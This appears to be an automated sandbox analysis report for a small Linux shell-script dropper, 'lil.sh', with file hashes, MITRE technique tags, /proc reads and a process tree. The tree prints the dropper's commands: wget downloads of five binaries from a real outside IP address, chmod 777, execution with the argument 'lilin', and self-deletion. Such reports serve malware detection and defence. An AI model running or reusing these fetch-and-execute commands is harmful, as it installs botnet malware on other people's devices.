8e502016a2e93832924a1a4a558ed18b05a13cca02bddcf0bcf9e32aed781753

Analysis

max time kernel
61s
max time network
63s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/06/2026, 07:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 839B
Sample260602-jevlfsf19x
SHA256 8e502016a2e93832924a1a4a558ed18b05a13cca02bddcf0bcf9e32aed781753
MD5 bc9c77eed42680f1b71ddd3eff75bfba
SHA1 78972c3038b4be9a1d89e97317ff400b47ff3890
SHA512 142b734778b17b712c796941ed755d3e1155c8b3c4e6f2073ab0aea6fece80f837b311c2cef888aa3de3156a0f71186d1380dc7e6cb92ee808c242fd1db4da22
TLSH
T1DC01EFCFC001CB90C1D6F49C32C75584F821C3CB25168BB4BEAC443D8BE6A58B066F84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
810	chmod
818	chmod
822	chmod
826	chmod
830	chmod

Deletes itself 1 IoCs

pid	Process
815	4UL

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/4UL	811	lil.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/2/cmdline	4UL
File opened for reading	/proc/4/cmdline	4UL
File opened for reading	/proc/845/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/314/cmdline	4UL
File opened for reading	/proc/590/cmdline	4UL
File opened for reading	/proc/828/cmdline	4UL
File opened for reading	/proc/16/cmdline	4UL
File opened for reading	/proc/294/cmdline	4UL
File opened for reading	/proc/3/cmdline	4UL
File opened for reading	/proc/14/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/6/cmdline	4UL
File opened for reading	/proc/11/cmdline	4UL
File opened for reading	/proc/12/cmdline	4UL
File opened for reading	/proc/167/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/42/cmdline	4UL
File opened for reading	/proc/301/cmdline	4UL
File opened for reading	/proc/23/cmdline	4UL
File opened for reading	/proc/306/cmdline	4UL
File opened for reading	/proc/638/cmdline	4UL
File opened for reading	/proc/814/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/7/cmdline	4UL
File opened for reading	/proc/17/cmdline	4UL
File opened for reading	/proc/20/cmdline	4UL
File opened for reading	/proc/26/cmdline	4UL
File opened for reading	/proc/108/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/843/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/10/cmdline	4UL
File opened for reading	/proc/27/cmdline	4UL
File opened for reading	/proc/76/cmdline	4UL
File opened for reading	/proc/582/cmdline	4UL
File opened for reading	/proc/639/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/15/cmdline	4UL
File opened for reading	/proc/832/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/656/cmdline	4UL
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/21/cmdline	4UL
File opened for reading	/proc/29/cmdline	4UL

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/4UL	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:645
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:651
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:657
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:666
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:670
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:673
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  PID:675
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/147/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/158/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/224/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/301/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/306/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/565/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/590/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/591/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/627/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:734
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/97/exe
  2⤵
  PID:756
- /bin/rm
  rm -rf 4UL
  2⤵
  PID:758
- /usr/bin/wget
  wget http://188.132.232.81/4UL
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 4UL
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/4UL
  ./4UL lilin
  2⤵
  - Deletes itself
  - Reads runtime system information
  PID:811
- /bin/rm
  rm -rf RKuZ
  2⤵
  PID:813
- /usr/bin/wget
  wget http://188.132.232.81/RKuZ
  2⤵
  PID:817
- /bin/chmod
  chmod 777 RKuZ
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/RKuZ
  ./RKuZ lilin
  2⤵
  PID:819
- /bin/rm
  rm -rf TRH1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://188.132.232.81/TRH1
  2⤵
  PID:821
- /bin/chmod
  chmod 777 TRH1
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/TRH1
  ./TRH1 lilin
  2⤵
  PID:823
- /bin/rm
  rm -rf Yt2
  2⤵
  PID:824
- /usr/bin/wget
  wget http://188.132.232.81/Yt2
  2⤵
  PID:825
- /bin/chmod
  chmod 777 Yt2
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/Yt2
  ./Yt2 lilin
  2⤵
  PID:827
- /bin/rm
  rm -rf AmP
  2⤵
  PID:828
- /usr/bin/wget
  wget http://188.132.232.81/AmP
  2⤵
  PID:829
- /bin/chmod
  chmod 777 AmP
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/AmP
  ./AmP lilin
  2⤵
  PID:831
- /bin/rm
  rm -rf lil
  2⤵
  PID:832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4UL

Path /tmp/4UL
Size 61KB
SHA256 8b7f63b9756b26e8c501e1125cbe71e8a9703380319b356a5783cb2ee9bde6b0
MD5 50343a83b92b55581f32464f6cf4a2c6
SHA1 fa8e5faadc40da32461eaa58df0e78a49921842f
SHA512 d527f992bcc19376309718c6985e80247f58663b2392bd621271b0b407dd9cbff647b2140685351c95bbe3bd13d3cbe14b6dcd14ff73684b93e52de8cfea3421
SSDEEP 1536:O7ERgr26KQpiSrZm2/1MqDLWUgaVI5Z85p5gl5555555555555vVwJb3F20H6Gur:O7E6roQpvr1h3RgYuq5p5gl55555555D
TLSH
T115534D55B8469F1AC7C51537BA0F8349337763E8E2FF3103EA056F55778B82A0E2A446
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512